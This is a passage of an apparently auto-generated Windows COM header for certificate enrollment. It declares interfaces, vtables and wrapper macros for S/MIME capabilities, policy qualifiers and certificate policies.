ISmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapabilities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISmimeCapabilities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISmimeCapabilities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISmimeCapabilities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISmimeCapabilities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISmimeCapabilities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISmimeCapabilities_AddFromCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddFromCsp(This,pValue) ) \n\n#define ISmimeCapabilities_AddAvailableSmimeCapabilities(This,MachineContext)\t\\\n    ( (This)->lpVtbl -> AddAvailableSmimeCapabilities(This,MachineContext) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSmimeCapabilities : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSmimeCapabilitiesVtbl;\n\n    interface IX509ExtensionSmimeCapabilities\n    {\n        CONST_VTBL struct IX509ExtensionSmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSmimeCapabilities_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSmimeCapabilities_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_SmimeCapabilities(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0028 */\n/* [local] */ \n\ntypedef \nenum PolicyQualifierType\n    {\tPolicyQualifierTypeUnknown\t= 0,\n\tPolicyQualifierTypeUrl\t= 1,\n\tPolicyQualifierTypeUserNotice\t= 2\n    } \tPolicyQualifierType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0028_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0028_v0_0_s_ifspec;\n\n#ifndef __IPolicyQualifier_INTERFACE_DEFINED__\n#define __IPolicyQualifier_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31c-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifier : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Qualifier( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifier * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Qualifier )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IPolicyQualifierVtbl;\n\n    interface IPolicyQualifier\n    {\n        CONST_VTBL struct IPolicyQualifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifier_InitializeEncode(This,strQualifier,Type)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strQualifier,Type) ) \n\n#define IPolicyQualifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IPolicyQualifier_get_Qualifier(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Qualifier(This,pValue) ) \n\n#define IPolicyQualifier_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IPolicyQualifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_INTERFACE_DEFINED__\n#define __IPolicyQualifiers_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifiers */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifiers;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31d-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifiers : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifiersVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifiers * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        END_INTERFACE\n    } IPolicyQualifiersVtbl;\n\n    interface IPolicyQualifiers\n    {\n        CONST_VTBL struct IPolicyQualifiersVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifiers_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifiers_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifiers_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifiers_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifiers_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifiers_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifiers_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifiers_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IPolicyQualifiers_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IPolicyQualifiers_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IPolicyQualifiers_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IPolicyQualifiers_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IPolicyQualifiers_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifiers_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_INTERFACE_DEFINED__\n#define __ICertificatePolicy_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicy */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicy : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyQualifiers( \n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicy * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicy * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyQualifiers )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue);\n        \n        END_INTERFACE\n    } ICertificatePolicyVtbl;\n\n    interface ICertificatePolicy\n    {\n        CONST_VTBL struct ICertificatePolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicy_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicy_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicy_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicy_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicy_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertificatePolicy_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICertificatePolicy_get_PolicyQualifiers(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PolicyQualifiers(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicy_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_INTERFACE_DEFINED__\n#define __ICertificatePolicies_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicies : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT 